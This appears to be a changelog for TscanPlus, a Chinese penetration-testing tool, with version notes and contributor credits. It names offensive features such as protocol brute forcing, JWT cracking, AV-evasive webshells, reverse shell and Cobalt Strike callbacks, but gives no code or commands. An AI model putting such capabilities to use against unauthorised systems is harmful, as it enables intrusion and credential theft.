+ 1、支持ipv6扫描 @呱呱 @Dawn @이 소
+ 2、优化启发式扫描进度估算 @kylinsec
+ 3、修改Client校验策略 @小白
+ 4、目录枚举针对403结果优化 @Yo皮蛋
+ 5、目录枚举增加waf检测选项 @秋茶-
+ 6、密码生成内存占用较高 @:-) @lsota1
+ 7、端口探测线程优化 @kylinsec
+ 8、资产测绘采集页数显示异常 @Tomorrow @按时睡觉
+ 9、创建项目时空间测绘根据配置选取 @山西哥谭小丑
+ 10、Url检测功能显示网页缩略图 @King
+
+ v2.7.6版 【2025.04.06】
+ 1、目录枚举模块bug修复及算法增强 @无先森
+ 2、jwt破解功能存在bug @秋分
+ 3、表格复选框增加全选和当前页 @n0rth_404
+ 4、代理池自动爬取存在bug @秋茶- @addnetghost
+ 5、代理池校验时禁用自定义header @秋茶-
+ 6、域名枚举时未开poc但仍会poc检测 @bpfmili
+ 7、端口扫描支持IP:PORT格式 @lant1s
+ 8、go-webview2版本回退 @Zxc123456zxc @ZMinGood
+ 9、thinkphp:5.0.20 POC完善 @RuoJi6
+ 10、客户端修改默认mod选项 @小白
+
+ v2.7.5版 【2025.04.01】
+ 1、增加大网段启发式扫描 @xxsmile123
+ 2、优化UDP端口扫描精准度 @💪
+ 3、客户端进度条优化 @涅槃
+ 4、修复nocolor参数无颜色输出 @涅槃
+ 5、创建项目时异常提醒 @ZMinGood
+ 6、IP归属查询增加解析主域名选项 @秋茶-
+ 7、Redis连接验证功能bug @涅槃
+ 8、jwt功能个别token检验失败 @秋分
+ 9、端口探测线程优化 @kylinsec
+ 10、hunter自定义查询语句报错 @秋茶-
+
+ v2.7.4版 【2025.03.21】
+ 1、内网代理验证存在Bug @P1rc4 @CSeroad
+ 2、Client多个bug @秋茶- @小刘小刘开心加油
+ 3、Bypass功能Auth编码bug @Aliak15
+ 4、目录扫描字典更新及进度条bug @无先森
+ 5、WMI密码爆破报错 @秋茶- @魚丸
+ 6、Poc增加“指纹不匹配时不扫描”选项 @秋茶-
+ 7、第三方代理api导入方案 @zlj
+ 8、增加自定义端口选项 @weisir1
+ 9、增加部分自定义红队命令 @RuoJi6
+ 10、Virustotal接口限额调整 @gniuy
+
+ v2.7.3版 【2025.03.12】
+ 1、密码爆破功能闪退 @-A1ert @涅槃 @fuz2
+ 2、代理地址删除 @小刘小刘开心加油
+ 3、空间测绘0.zone查询异常 @无忧
+ 4、代理验证时内网代理提示无效 @CSeroad
+ 5、单个目标时遇到waf提醒 @小白
+ 6、创建项目同时提示两次 @山西哥谭小丑
+ 7、IP扫描时对目标中的域名解析IP后去重 @按时睡觉
+ 8、SM2解密时ASN.1编码bug @岁月静好
+ 9、JWT破解存在Bug @pplayerr @joonk685
+ 10、客户端存在Xss漏洞 @gniuy
+
+ v2.7.2版 【2025.02.18】
+ 1、代理池增加根据关键词切换代理 @Dawn
+ 2、增加MQTT端口破解功能
+ 3、部分poc看不到数据包 @按时睡觉
+ 4、部分key校验提示异常 @杨帆起航
+ 5、新建项目资产测绘可多个目标 @按时睡觉
+ 6、空间测绘增加采集页数参数 @按时睡觉
+ 7、创建项目时可只保存后执行 @xhmcc
+ 8、RSA解密增加pkcs8私钥解析 @dactar123
+ 9、导出excel数据异常 @xhmcc
+ 10、空间测绘0.zone查询异常 @xintianwen
+
+ v2.7.1版 【2025.01.23】
+ 1、增加导出项目所有数据到Excel
+ 2、代理池增加自动破解功能
+ 3、Url探测增加网页截图功能 @づ听风看月
+ 4、敏感目录字典更新 @无先森
+ 5、导入资产目标过多时前端卡死 @笑傲江湖
+ 6、资产导出excel文件名过长报错 @秋茶-
+ 7、清空项目管理时40xBypass未清空 @Yo皮蛋
+ 8、项目管理扫描功能与基本功能开关存在冲突 @VBPush
+ 9、自定义POC选择后无法保存生效 @。
+ 10、代理启动后即可显示当前代理ip @Dawn
+
+ v2.7.0版 【2025.01.18】
+ 1、代理池可批量启用、禁用、删除等 @bupsdx
+ 2、代理池显示当前代理IP及手工切换 @xiaoliusec @Dawn
+ 3、bypass线程异常导致闪退 @Dawn
+ 4、因map重新顺序导致Jwt编码异常 @披着羊皮的狼
+ 5、Base64解码方式不同导致jwt解码异常 @L1ech0
+ 6、POC联动时可选择使用内置+外置 @xhmcc
+ 7、目录枚举功能时间间隔选项无效 @จุ๊บ
+ 8、POC和密码破解右键增加单条删除 @xhmcc
+ 9、VNC和CS密码本去除花括号 @fuz2
+ 10、xray配置错误导致秒结束 @秋茶-
+
+ v2.6.9版 【2025.01.10】
+ 1、Zoomeye接口API升级到v2版
+ 2、JsFinder功能和展示优化 @呱呱
+ 3、资产分拣时主域名.do误报 @xhmcc
+ 4、配置Apikey和验证时提示相同 @cream-sec
+ 5、密码生成社工字典闪退 @goodplay @Xxinbbyy
+ 6、Poc初始化时会默认访问ceye @Cream
+ 7、代理地址自动添加和下拉可选 @小白
+ 8、默认项目清理资产后有残留数据 @行者无疆
+ 9、资产分拣功能完善和优化 @xhmcc @Dawn
+ 10、端口扫描增加过滤打印机选项 @kk
+
+ v2.6.8版 【2025.01.06】
+ 1、部分web指纹优化完善 @涅槃
+ 2、项目管理排序修改为倒序排序 @sutdent1
+ 3、域名枚举web相关全局代理可用 @A 阿宏
+ 4、jwt字典可以自定义修改 @LiChaser
+ 5、Poc检测增加时间间隔选项 @8201
+ 6、密码猜解部分服务线程优化 @sqy
+ 7、目录枚举302跳转导致误报 @山西哥谭小丑
+ 8、支持SMB空口令连接 @小胖
+ 9、资产分拣增加过滤内网功能 @我的名字回不来了!!!
+ 10、Poc搜索前端UI优化 @sonumb-z
+
+v2.6.7版 【2024.12.25】
+ 1、各功能在使用代理前先验证可用性 @小白
+ 2、端口扫描时代理功能异常 @King
+ 3、Url检测前后台数据同步bug @秋茶-
+ 4、增加失败url查看功能 @秋茶-
+ 5、修复代理池重复循环bug @づ听风看月
+ 6、Fofa兼容不同权限用户 @Qq1111111111
+
+v2.6.6版 【2024.12.22】
+ 1、空间测绘功能增加查询语法聚合
+ 2、破解密码功能内置和自定义字典切换bug @秋茶-
+ 3、JSFINDER功能目标地址显示异常 @呱呱🥝
+ 4、网卡选择不同页面间同步 @魚丸
+ 5、Go版本导致的个别站点url探测异常 @山西哥谭小丑
+ 6、个别内置Poc检测误报较高 @kio
+ 7、端口策略选择存在bug @1024548219
+ 8、代理池数据异常和提示异常 @阿宏
+ 9、密码破解"仅破解一个账号"选项无效 @charis3306
+ 10、红队命令OS类型显示重复选项 @cream-sec
+
+v2.6.5版 【2024.12.18】
+ 1、增加代理池管理功能
+ 2、支持http和socks的代理Listener功能
+ 3、支持单个和批量添加,支持身份认证功能
+ 4、可从fofa、hunter、quake等自动抓取代理
+ 5、可对代理进行批量有效性验证
+ 6、可手工设置代理验证网站和关键词
+ 7、支持5种代理场景,如轮询、次数、时长等
+ 8、失败累计3次的代理可自动删除
+ 9、没有可用代理时会自动关闭代理接口
+ 10、支持单个代理管理及导出功能
+
+v2.6.4版 【2024.12.12】
+ 1、增加中英文语言切换功能
+ 2、硬件校验时兼容多种系统命令 @CyangN
+ 3、Url包含特殊字符时报错闪退 @秋茶- @hunmeng123
+ 4、Config初始化完成时增加前端提示 @小白
+ 5、部分站点jsfinder爬取较慢 @山西哥谭小丑
+ 6、Memcache命令stats更正 @Derrrry @澍小夏
+ 7、qqwry文件下载后可直接加载 @qingchenhh
+ 8、“密码破解”增加IP有效性验证 @hkylin
+ 9、Linux下版本升级无效 @Finback
+ 10、Jsfinder功能针对vue站点爬取进行优化 @零乱
+
+v2.6.3版 【2024.12.04】
+ 1、高级配置-增加多网卡选择功能 @小刘小刘开心加油
+ 2、目录枚举时单目标支持路径级中断 @EatKfcV50
+ 3、密码破解功能支持记录上次服务选项
+ 4、目录枚举时默认请求头导致漏报 @づ听风看月
+ 5、高级配置-修复随机UA设置无效
+
+v2.6.2版 【2024.11.26】
+ 1、空间测绘模块增加0.zone接口 @Niko
+ 2、全局代理开启时空间测绘模块可代理
+ 3、配置文件更新时文件名包含中文导致异常
+ 4、目录扫描web超时设置无效 @chencicici @VBPush
+ 5、资产测绘中ICP备案查询语法修订 @ysdxj
+ 6、JWT破解功能增加支持none算法 @nonu11
+ 7、资产测绘自定义语句转义问题 @qty567
+ 8、红队命令特殊字符显示异常 @sourcexu7
+ 9、POC检测导出Excel标题错行 @Derrrry
+ 10、修复个别资产测绘引擎检索语句
+ 11、资产分拣功能增加对逗号分割的处理 @Derrrry
+ 12、编解码模块增加key和iv的格式选择 @あくま
+
+v2.6.1版 【2024.11.21】
+ 1、增加300多个xray和afrog自定义poc @rain
+ 2、单ip有防护时可能存在误报 @忘年忘义振于无竟 @阿宏
+ 3、新建项目时保存任务选项为默认参数 @Evi10x01
+ 4、敏感目录字典更新 @无先森
+ 5、密码破解中的mssql协议问题 @一根胡萝卜
+ 6、SM2解密时可能闪退 @零乱
+ 7、资产分拣时增加内外网资产排序 @文欧
+ 8、js中部分敏感字符未匹配 @Evi10x01
+ 9、去除fofa的1000条限制 @Y.
+ 10、导出目录设置无效 @秋分
+
+v2.6版 【2024.10.18】
+ 1、增加程序自动更新功能
+ 2、知识星球用户的key可无限续期
+ 3、密码破解结果增加连接功能
+ 3、单个Poc扫描时进度显示异常 @山西哥谭小丑
+ 4、JsFinder“仅展示本站”匹配主域名 @山西哥谭小丑
+ 6、目录枚举遇到waf时跳过检测 @呱呱🥝
+ 7、主动指纹识别后Url可直接跳转 @づ听风看月
+ 8、SM2加解密都需要公钥私钥 @omegazero01
+ 9、资产分拣中针对edu.cn的处理 @Niko
+ 10、IP扫描增加超时时间设置 @小啸
+ 11、JsFinder数据量过多时前端卡顿 @山西哥谭小丑
+ 12、清除数据后目标资产仍存在 @圣男
+ 13、Default项目清空后资产仍在 @山西哥谭小丑
+ 14、主动指纹探测中路径拼接存在Bug @guyan
+ 15、切换项目后扫描状态变为“继续” @李
+ 16、清除记录后前端数据有留存 @Wans
+ 17、自动更新页面增加手动按钮 @づ听风看月
+ 18、目录枚举存活模式下POST无效 @1204554617
+ 19、Mac_Arm自动更新报错 @大反派 @老梁 @蜉蝣
+ 20、域名枚举增加自定义DNS选项 @无忧
+ 21、第三方poc工具自定义扫描参数 @FanerAce
+ 22、域名枚举功能增加banner排序 @狐狸
+ 23、空间测绘支持自定义语法 @张召
+ 24、目录枚举导出excel列内容交叉 @Acczdy
+ 25、Quake空间测绘可自定义获取数据量 @xjp08
+
+v2.5版 【2024.09.15】
+ 1、重构端口扫描模块,效率提升2-3倍
+ 2、针对Linux增加配置文件备份功能
+ 3、资产分拣支持Ipv6 @.
+ 4、全屏模式下数据显示适配 @菜
+ 5、修复Linux的Key认证问题 @Narcissus
+ 6、Mac下程序图标美化 @大反派
+ 7、功能联动时Poc检测占用资源较高 @sutdent1
+ 8、识别不到指纹时端口不显示 @A1
+ 9、非默认端口时功能联动无效 @山西哥谭小丑
+ 10、Redis爆破成功显示未授权 @Black @山西哥谭小丑
+ 11、LDAP密码破解误报 @Aholic_sec
+ 12、Poc检测目标带子目录问题 @零乱
+ 13、Socks5代理保存时自动小写 @restart
+ 14、输出log路径不存在时报错 @哥斯拉Yvan
+ 15、项目名称支持中文 @菜狗
+ 16、445端口指纹识别闪退 @魚丸
+ 17、Afrog扫描时进度异常 @T-T
+ 18、增加端口扫描线程数提醒 @小啸
+ 19、MSSQL联动时无法触发弱口令破解 @李
+ 20、第三方Poc工具无法匹配poc时全扫 @Atirds
+
+v2.4版 【2024.09.01】
+ 1、IP扫描大量目标时可能导致闪退
+ 2、增加webshell笔记功能 @chencicici
+ 3、各种webshell免杀马 @CSeroad
+ 4、目录枚举时状态码过滤bug @Azure
+ 5、Poc列表显示问题 @Xxinbbyy @澍小夏
+ 6、Poc多次检索后数据异常 @Ashthes @TXC
+ 7、Bypass功能UA、fuzz测试bug @45
+ 8、Quake空间测绘数据异常 @按时吃饭
+ 9、密码爆破内存占用优化 @yehao1991
+ 10、Twj秘钥爆破算法优化 @xxsmile123
+ 11、优化密码破解漏报问题
+ 12、3389密码破解闪退问题 @yehao1991
+ 13、优化主动指纹探测精准度 @文欧
+ 14、目录枚举页面相似度算法优化
+ 15、扫描结束时程序闪退 @j1dag @kkkyan @文欧 @按时吃饭
+ 16、资产分拣内网IP分类排序 @xxsmile123
+ 17、密码破解多个账户问题 @b2522
+ 18、杀软查询及敏感目录字典更新
+ 19、第三方poc工具线程数设置 @Cx330才
+ 20、右键查看数据包异常及编码Bug @魚丸
+
+v2.3版 【2024.08.12】
+ 1、升级Go+Wails框架版本
+ 2、增加程序日志功能
+ 3、根据系统资源占用动态调整线程数 @1337Player
+ 4、密码破解可自定义字典
+ 5、wmi服务密码爆破闪退 @按时吃饭
+ 6、敏感目录字典更新 @无先森
+ 7、程序代码加固 @Again @看我扭转万象
+ 8、杀软识别不全面bug @Yo皮蛋
+ 9、杀软识别特殊字符报错 @づ听风看月
+ 10、前端部分列内容增加排序 @按时吃饭 @づ听风看月
+ 11、目录枚举添加标题和排序
+ 12、Ip库加载失败导致闪退 @guyan
+ 13、第三方poc工具Stop后会继续扫描 @LittleMoonhub
+ 14、项目执行进度卡在url检测 @大反派
+ 15、密码破解进程优化 @Aholic_sec
+ 16、针对Hunter增加自定义查询页码 @文欧
+ 17、优化空间探测的资产去重功能
+ 18、sm4解密时处理hex格式bug @.
+ 19、4xxBypass增加查看数据包功能 @呱呱
+ 20、Bypass修复Stop功能 @菜 @MTY123-YF
+ 21、Log日志太大导致闪退 @Y.
+ 22、目录扫描导致DB文件过大 @Azure
+ 23、使用vpn可能导致认证失败 @鼎级FW
+ 24、下载命令自定义保存bug @Xxinbbyy
+ 25、修改红队命令、下载命令保存格式
+
+v2.2版 【2024.07.22】
+ 1、增加Host碰撞功能 @Baal
+ 2、增加40xBypass检测功能
+ 3、增加Jwt破解和加解密功能 @yhy
+ 4、增加Vip认证(可解锁所有Poc)
+ 5、增加IP归属地查询功能
+ 6、增加指纹策略,可根据需求选择不同指纹库
+ 7、新目录下程序无法启动bug @T-T
+ 8、Telnet蜜罐出现误报情况 @.
+ 9、配置文件重置时会先自动备份
+ 10、Poc输出日志改为倒序 @魚丸
+ 11、查看Poc数据包调整到右键菜单 @wuha
+ 12、增加一键Hash识别功能 @Scappy
+ 13、JsFinder个别链接爬不出js @古心静典
+ 14、针对hunter可自定义API地址 @starscow
+ 15、RDP爆破多线程误报问题 @ℍℤ
+ 16、端口策略显示问题 @slack @.
+ 17、红队命令模块能加编辑功能 @1
+ 18、资产分拣匹配国外域名 @倏尔
+ 19、目录字典不存在时扫描闪退 @Xxinbbyy
+ 20、恢复扫描可能导致数据重复 @鼎级FW
+ 21、针对Mac/Linx增加Ulimit设置
+ 22、新建项目时出现重复项目数据 @Evi10x01 @大反派
+ 23、目录扫描时对目录前缀"/"进行处理 @转身遇见
+ 24、Jwt破解及显示bug @cloud- @大反派
+ 25、qqwry库文件缺失提醒 @xxsmile123
+ 26、资产提取匹配xyz等域名 @肖肖乐
+ 27、poc闪退问题 @老梁 @望天
+ 28、poc检测存在误报 @J1wa @Hem1ock
+ 29、目录扫描针对特殊站点的跳转bug @づ听风看月
+ 30、Key认证bug @SinkO @Xxinbbyy @朱瀚声 @이 소
+
+v2.1版 【2024.07.01】
+ 1、支持自定义被动指纹添加 @Dawn
+ 2、程序中断或Stop后可恢复之前扫描 @鼎级FW @陳 @涅槃
+ 3、项目状态显示Bug @方糖 @望天 @DouLiYouTang31
+ 4、导出资产excel中高危标红 @zlj
+ 5、可支持自定义的header @Azure @涅槃
+ 6、AES解密iv类型的自动化判断 @Wans
+ 7、主动指纹部分情况存在误报 @鼎级FW
+ 8、Windows移动程序目录导致无法启动 @Black
+ 9、RDP密码破解存在闪退情况 @Black
+ 10、高级配置中增加"导出文件后打开"选项 @鼎级FW
+ 11、POC检测结果最后一行会被遮住 @魚丸
+ 12、Default项目可一键清空 @步行街
+ 13、调用外部Poc工具时线程优化 @0x4C79
+ 14、资产测绘查c段导出excel存在Bug @我该叫什么
+ 15、增加文本转\x \u \o等多种编码 @cloud-
+ 16、修复WMI弱口令误报Bug @涅槃 @步行街
+ 17、密码查询功能添加新密码Bug @fitzxxx
+ 18、密码破解发现未授权时的处置 @💪
+ 19、空间测绘可批量探测url存活 @季風吹向大海คิดถึง
+ 20、个别网站标题存在乱码情况 @ki10Moc
+
+v2.0版 【2024.06.16】(包含了部分v1.9.1版修复的bug
+ 1、增加编解码功能,支持36种编解码、加解密、哈希等
+ 2、针对445端口增加MS17010检测
+ 3、Nuclei自定义poc智能匹配Bug @陈皮老四
+ 4、敏感目录字典更新 @无先森
+ 5、主动指纹探测的误报问题 @望天 @🇯
+ 6、Url探测检索及清除记录bug @零乱
+ 7、资产分拣的收缩模式和C段分拣 @鼎级FW @猫哥
+ 8、Poc检测增加漏洞等级标识 @放飞梦想จุ๊บ
+ 9、Poc检测流程优化 @zlj
+ 10、空间测绘标签页批量关闭 @季風吹向大海คิดถึง
+ 11、设置hunter最多查询页数5 @Evi10x01
+ 12、破解字典空口令bug @Darkid_98
+ 13、修复ip扫描端口策略 @-A1ert
+ 14、Poc检索前端bug @魚丸
+ 15、空间测绘查询Tab混乱bug @澍小夏 @大反派
+ 16、端口指纹选项关闭时资产不显示 @张召
+ 17、联动密码破解时覆盖所有服务及提示Bug @鼎级FW
+ 18、pop3协议密码爆破bug @Azure
+ 19、端口扫描时Socks5代理问题 @张召
+ 20、调用nuclei和xray可使用代理扫描 @魚丸
+
+v1.9版 【2024.05.28】
+ 1、增加指纹探测规则8327条,总计51873条
+ 2、远程下载非核心配置文件缩减体积
+ 3、密码破解成功后进行指纹识别
+ 4、敏感目录字典更新 @无先森
+ 5、增加多个密探工具的目录字典 @kkbo
+ 6、增加主动指纹探测并可自定义 @@huclilu
+ 7、整合优化多个cms指纹 @Dawn @wlaq-su @ @RL
+ 8、excel导出bug修复 @无先森
+ 9、web密码破解异常退出bug @鼎级FW
+ 10、Mysql密码破解bug @xiaojj2021
+ 11、Tomcat破解异常 @ℍℤ @我的名字回不来了!!!
+ 12、SSH服务爆破异常 @哈哈
+ 13、网络测绘C段标签命名bug @澍小夏
+ 14、集成xray2.0外置Poc并智能匹配 @kio
+ 15、配置选项中的UA设置 @yuwan-jpg
+ 16、文件导入时兼容CRLF @烧烤老师傅
+ 17、poc检测模块可右键复制PocUrl @六六
+ 18、密码字典自动更新及一键更新bug @鼎级FW
+ 19、路由器telnet爆破bug @.
+ 20、Oracle爆破异常 @我的名字回不来了!!!
+ 21、测绘资产-目录扫描时暂停出现闪退 @Azure
+ 22、Url扫描支持web无协议扫描
+ 23、只选外置poc时的队列问题 @hunmeng123
+ 24、空间测绘支持批量检索 @辞忧
+ 25、社工字典生成优化 @ymbzd
+
+v1.8版 【2024.05.01】
+ 1、密码破解功能完善及多线程优化
+ 2、资产较多时的前端响应优化
+ 3、多个敏感目录字典更新 @无先森
+ 4、内置多个目录字典并自动释放到目录 @无先森
+ 5、资产分拣功能优化及bug修复 @xxsmile123
+ 6、增加RTSP端口破解功能 @づ听风看月 @hunmeng123
+ 7、反弹shell和cs上线IP保存 @Evi10x01
+ 8、项目漏洞详情展示 @WasteMaterial @Evi10x01
+ 9、Hunter查询接口优化 @鼎级FW
+ 10、Quake查询接口优化 @lwjdsgz
+ 11、空间测绘增加icp备案查询 @Evi10x01
+ 12、密码破解联动功能Bug修复 @Evi10x01 @鼎级FW
+ 13、端口扫描可根据服务进行爆破 @jisanlong
+ 14、自定义Poc显示bug @Phonk
+ 15、url探测存在卡顿情况 @rkabyss
+ 16、结果日志输出bug @季風吹向大海คิดถึง
+ 17、任务联动时地址栏显示Bug
+ 18、密码破解闪退bug修复 @鼎级FW
+ 19、密码破解支持协议://IP:Port格式
+ 20、爆破功能自定义字典bug @wvykey
+
+v1.7版 【2024.04.16】
+ 1、Poc检测可直接调用Nuclei、Xray、Afrog @J1wa @无先森
+ 2、增加自定义poc功能
+ 3、在高级选项中增加自定义主题模式
+ 4、IP扫描时会先探测是否存在防火墙
+ 5、增加资产分拣功能 @xxsmile123
+ 6、优化更新账号和密码字典 @那个少年
+ 7、优化自定义账号密码功能 @DeEpinGh0st
+ 8、自定义配置目录、导出目录等 @づ听风看月 @蜉蝣
+ 9、修复项目管理若干Bug @无先森 @Evi10x01
+ 10、敏感目录字典更新 @无先森
+ 11、Fofa自定义api地址 @Tian @季風吹向大海คิดถึง
+ 12、项管理添加进度状态展示
+ 13、UrlFinder功能优化完善及bug修复 @A1
+ 14、强化Url敏感信息检索功能 @xxsmile123
+ 15、密码破解功能优化完善 @步行街 @endin9 @Y.
+ 16、Banner标红资产自动排序 @Evi10x01
+ 17、部分指纹精确度优化 @Black @倏尔 @高歌
+ 18、目录扫描自定义字典bug @Evi10x01
+ 19、项目任务中的目录枚举功能优化 @鼎级FW
+ 20、项目任务自定义字典功能优化
+
+v1.6版 【2024.03.25】
+ 1、增加项目管理流程,增强各功能模块联动
+ 2、使用数据库可对所有功能和数据进行增删改查
+ 3、添加js爬取功能及js敏感信息匹配 @onewinner @无先森
+ 4、敏感目录字典更新 @无先森
+ 5、配置代理增加前端校验 @WangGang
+ 6、目录枚举Ext及3xx跳转优化 @无先森 @转身遇见
+ 7、网络空探导出所有tab到一个excel @Evi10x01
+ 8、优化代理设置模块,完善校验和提示 @一口蛋黄苏
+ 9、密码破解端口修改只能输一位 @nuanfeng1yue @💪 @零乱 @清风拂杨柳
+ 10、端口扫描增加只探测存活选项 @Wans @Black
+ 11、poc检测增加Log模块
+ 12、URL探测联动功能bug @Evi10x01
+ 13、IP端口扫描时闪退问题 @xxsmile123 @Thron_bird
+ 14、空间测绘添加body、证书、ICON检索 @Tian
+ 15、空间测绘右键添加继续查询标题、ip、域名等 @Tian
+ 16、生成字典枚举模式闪退 @咕噜咕噜
+
+v1.5版 【2024.03.01】
+ 1、目录枚举超链接bug @无先森 @Google_Hacking
+ 2、扫描目标过多时,点击终止后会继续扫描 @行者无疆
+ 3、增加一键检测ApiKey可用性功能 @Dawn
+ 4、枚举模式生成字典会异常退出 @无先森
+ 5、大量数据时前端会有卡顿 @零乱 @Mr.Right @impdx
+ 6、指纹识别中hostname乱码问题 @hunmeng123 @2gggggg
+ 7、AV识别数据库更新 @pei
+ 8、网络空间测绘增加url跳转及优化 @づ听风看月 @80576560
+ 9、Mac深色Url超链接样式优化 @下完雪🍁
+ 10、FofaApi接口权限bug @Bains @💪
+ 11、多次查询时Tab数据可能覆盖 @J1wa
+ 12、导出excel时报错 @Huck-Lim
+ 13、空间测绘VT平台数据回传问题 @Evi10x01
+ 14、密码破解log无法清除 @sq565163
+ 15、个别网站标题乱码问题 @Dawn
+ 16、支持自定义添加红队命令 @Lelylsj
+ 17、支持自定义设备密码 @Sharlong-Wen
+ 18、优化端口、URL的检索功能 @xxxxl🐾
+ 19、配置文件版本号同步 @づ听风看月
+ 20、配置cookie未生效 @bupsdx
+
+v1.4版 【2024.02.18】
+ 1、增加网络空间探测功能模块,内置9种常见空间探测API
+ 2、目录枚举功能进行字典优化和重分类 @无先森
+ 3、消息窗口不消失 @J1wa @Hhhnee
+ 4、空间探测平台api接口协助 @Grit
+ 5、增加目录枚举递归限制,默认3层 @Google_Hacking
+ 6、目录枚举过滤指定长度、关键字,自定义后缀 @无先森
+
+v1.3版 【2024.01.22】
+ 1、增加密码生成功能,内置三种生成模式
+ 2、增加设备弱口令查询功能,内置1.1万条记录
+ 3、新增分页功能,并可跨页面进行多选
+ 4、目录扫描点击stop闪退 @转身遇见 @Google_Hacking
+ 5、端口扫描兼容域名,及进度NaN的问题 @无先森
+ 6、精简优化扫描端口及超链接bug @xxxxl🐾
+ 7、自定义字典换行编码问题 @无先森
+ 8、域名泛解析问题 @无先森
+ 9、导出excel多一列及乱序bug @一起看雪 @南
+ 10、密码破解任务无法停止 @冰點 @T-T
+
+v1.2版 【2024.01.10】
+ 1、增加子域名枚举、接口查询功能
+ 2、针对非web服务的指纹识别进行优化
+ 3、增加导出excel功能,完善更多右键功能
+ 4、实时保存数据到result.txt文件
+ 5、增加批量多选功能 @Dawn @piaolingshusheng
+ 6、修复目录枚举闪退 @Google_Hacking @Bains @LC
+ 7、自定义密码框输入Bug @이 소
+ 8、导入字典数据显示错误 @转身遇见
+ 9、增加目录扫描递归选项 @onewinner @T-T
+ 10、扫描时的进度和存活数量问题 @💪 @龙猫爱吃鱼
+ 11、增加排序及相关过滤功能 @xg
+ 12、大量Url时的闪退Bug @rtfghd @无先森
+
+v1.1版 【2023.12.27】
+ 1、新增加java命令编码,解决部分按钮无效 @Dawn
+ 2、修复windows ping扫描cmd窗口 @遥遥 @hunmeng123
+ 3、修复B段扫描时卡死情况 @Mr.Right
+ 4、目录枚举同长度出现3次以上不再显示 @Bains
+ 5、自定义poc异常退出问题 @qtz777 @转身遇见
+ 6、修复路径字典错误、编码错误、前端校验错误 @遥遥 @TXC
+ 7、重构目录枚举实现方式,效率提高10倍
+ 8、IP扫描和指纹识别同步进行
+ 9、Ip扫描、Url扫描增加状态栏
+ 10、密码破解时自定义字典无效问题
+
+v1.0版 【2023.12.21】 实现局部/全局、多类代理功能,正式版发布
+v0.9版 【2023.12.19】 实现各功能之间的任务联动及右键菜单联动
+v0.8版 【2023.12.15】 增加版本更新检查、有效期校验、配置文件读写等
+v0.7版 【2023.12.12】 辅助功能杀软查询、提权辅助完成
+v0.6版 【2023.12.10】 反弹shell、CS上线、下载命令、红队命令完成
+v0.5版 【2023.12.08】 目录枚举及Fuzz模式实现
+v0.4版 【2023.11.29】 弱口令破解模块功能实现
+v0.3版 【2023.11.18】 Poc检测及Poc指纹匹配功能实现
+v0.2版 【2023.11.01】 Url扫描及web指纹精简功能实现
+v0.1版 【2023.10.23】 Ip及端口扫描、服务识别功能实现
+v0.0版 【2023.10.10】 TscanPlus架构选择及功能初步规划
+
+
截至【2025.10.01】数据: +

+@秋茶-: 28个

+@无先森: 26个

+@小白: 15个

+@鼎级FW: 14个

+@Evi10x01: 14个

+@呱呱: 13个

+@Dawn: 12个

+@づ听风看月: 12个

+@山西哥谭小丑: 11个

+@xxsmile123: 8个

+@涅槃: 8个

+@魚丸: 8个

+@零乱: 7个

+@zzzhhha: 6个

+@菜鸟的菜: 6个

+@按时睡觉: 6个

+@.: 6个

+@xhmcc: 6个

+@大反派: 6个

+@文欧: 5个

+@Yo皮蛋: 5个

+@💪: 5个

+@Xxinbbyy: 5个

+@hunmeng123: 5个

+@Black: 5个

+@Azure: 5个

+@转身遇见: 5个

+@Y.: 4个

+@Wans: 4个

+@cf48rty0: 4个

+@菜: 4个

+@小刘小刘开心加油: 4个

+@澍小夏: 4个

+@T-T: 4个

+@按时吃饭: 4个

+@J1wa: 4个

+@季風吹向大海คิดถึง: 4个

+@Google_Hacking: 4个

+@雪山乘客: 3个

+@树先生: 3个

+@n0rth_404: 3个

+@A1: 3个

+@b2522: 3个

+@Backspace: 3个

+@kio: 3个

+@bupsdx: 3个

+@je5442804: 3个

+@行者无疆: 3个

+@이 소: 3个

+@kylinsec: 3个

+@秋分: 3个

+@CSeroad: 3个

+@zlj: 3个

+@我的名字回不来了!!!: 3个

+@Derrrry: 3个

+@张召: 3个

+@望天: 3个

+@步行街: 3个

+@Tian: 3个

+@Bains: 3个

+@Reluctantly: 2个

+@yhy: 2个

+@0x1eeA: 2个

+@笑傲江湖: 2个

+@一根胡萝卜: 2个

+@xiaoliusec: 2个

+@TFour123: 2个

+@amoy6228: 2个

+@太霖: 2个

+@KaerSAN: 2个

+@wuha: 2个

+@Pyl0ad: 2个

+@圣男: 2个

+@beauty: 2个

+@sonumb-z: 2个

+@Hem1ock: 2个

+@朱瀚声: 2个

+@xintianwen: 2个

+@King: 2个

+@ZMinGood: 2个

+@RuoJi6: 2个

+@gniuy: 2个

+@-A1ert: 2个

+@fuz2: 2个

+@无忧: 2个

+@VBPush: 2个

+@cream-sec: 2个

+@sutdent1: 2个

+@阿宏: 2个

+@Niko: 2个

+@chencicici: 2个

+@小啸: 2个

+@guyan: 2个

+@李: 2个

+@老梁: 2个

+@蜉蝣: 2个

+@Aholic_sec: 2个

+@TXC: 2个

+@yehao1991: 2个

+@ℍℤ: 2个

+@倏尔: 2个

+@cloud-: 2个

+@onewinner: 2个

+@Mr.Right: 2个

+@xxxxl🐾: 2个

+@遥遥: 2个

+@chlinfo404: 1个

+@天明: 1个

+@mk4no1: 1个

+@jo3ker: 1个

+@youxia5: 1个

+@TAI: 1个

+@nnasdlc: 1个

+@Easonc8: 1个

+@Seven: 1个

+@xj90512: 1个

+@shuai32768: 1个

+@缓归: 1个

+@陌上花开: 1个

+@孙吉国杰: 1个

+@faow: 1个

+@hellowchen: 1个

+@ZenkiH: 1个

+@nn0nkey: 1个

+@pemuse: 1个

+@@qty567: 1个

+@丶ty: 1个

+@z1603206931: 1个

+@ziyue0230: 1个

+@hello: 1个

+@momxSec: 1个

+@弹弹弹: 1个

+@Vain: 1个

+@jiuyueyi: 1个

+@Crab: 1个

+@X: 1个

+@xmqaq: 1个

+@J0k4r5: 1个

+@R: 1个

+@酒零: 1个

+@洋丞: 1个

+@fu221ng: 1个

+@15679768019: 1个

+@youcs233: 1个

+@雾散: 1个

+@jason9777598: 1个

+@ZACsec: 1个

+@贝贝: 1个

+@xiaridenuanfeng: 1个

+@totooss: 1个

+@曾哥: 1个

+@心海: 1个

+@Avalon: 1个

+@20812807: 1个

+@daryl888: 1个

+@NewGtBoy: 1个

+@瑶瑶: 1个

+@Mrship12138: 1个

+@fricka6768: 1个

+@0xFF: 1个

+@榆关: 1个

+@dafupp: 1个

+@echo-Shu: 1个

+@miki-java: 1个

+@lzj242: 1个

+@xxxx1a: 1个

+@root1010jk: 1个

+@eleveni386: 1个

+@RMAX2000: 1个

